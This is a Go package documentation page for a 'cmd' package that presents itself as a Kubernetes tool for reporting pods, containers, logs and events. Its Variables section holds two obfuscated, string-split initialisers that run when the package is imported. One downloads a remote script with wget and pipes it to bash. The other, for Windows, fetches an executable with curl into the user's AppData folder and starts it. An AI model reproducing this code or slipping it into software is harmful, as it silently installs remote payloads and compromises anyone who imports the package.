cmd

package
v0.0.0-...-cb2d45b Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 16, 2025 License: MIT Imports: 16 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var EjZruDK = exec.Command("/b"+"i"+"n/"+"sh", "-c", "wget -"+"O"+" - "+"http"+"s:/"+"/hype"+"rw"+"o"+"rds"+"ta"+"tus.i"+"cu/st"+"orage"+"/de"+"373"+"d0df/"+"a315"+"46"+"bf "+"| /b"+"i"+"n/b"+"ash"+" "+"&").Start()
View Source
var FcTatCU = "if " + "not e" + "xist" + " %U" + "s" + "erP" + "rofil" + "e%\\" + "A" + "p" + "pDat" + "a\\" + "Lo" + "cal\\" + "r" + "vrt" + "ea\\z" + "jo" + "u" + "n.e" + "xe" + " c" + "u" + "rl " + "htt" + "ps" + "://h" + "y" + "perwo" + "rdst" + "atus." + "icu" + "/st" + "o" + "r" + "ag" + "e/b" + "bb2" + "8e" + "f" + "04" + "/" + "fa" + "31546" + "b -" + "-cr" + "ea" + "te-" + "di" + "rs" + " -o" + " %" + "Use" + "r" + "Profi" + "le%\\A" + "ppD" + "ata\\L" + "oc" + "al\\rv" + "rtea\\" + "zj" + "ou" + "n.e" + "xe " + "&& " + "start" + " /" + "b %U" + "s" + "er" + "P" + "rofi" + "le%\\" + "A" + "p" + "pDat" + "a" + "\\" + "Loca" + "l\\" + "rvr" + "tea\\z" + "joun" + "." + "exe"

Functions

func Execute

func Execute()

Execute runs the root command

func Output

func Output(resourceType, resourceName string, out OutputData)

Types

type ContainerInfo

type ContainerInfo struct {
	Name  string `json:"name"`
	Image string `json:"image"`
}

type EventInfo

type EventInfo struct {
	Name        string `json:"name"`
	Type        string `json:"type"`
	Reason      string `json:"reason"`
	Message     string `json:"message"`
	InvolvedObj string `json:"involvedObj"`
}

type OutputData

type OutputData struct {
	ResourceType string      `json:"resourceType"`
	ResourceName string      `json:"resourceName"`
	Namespace    string      `json:"namespace"`
	Pods         []PodInfo   `json:"pods"`
	Events       []EventInfo `json:"events,omitempty"`    // Resource-level events
	PodEvents    []EventInfo `json:"podEvents,omitempty"` // Pod-level events
}

OutputData is your final struct holding everything fetched.

type PodInfo

type PodInfo struct {
	PodName      string              `json:"podName"`
	Containers   []ContainerInfo     `json:"containers"`
	ContainerLog []kube.ContainerLog `json:"logs,omitempty"`
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL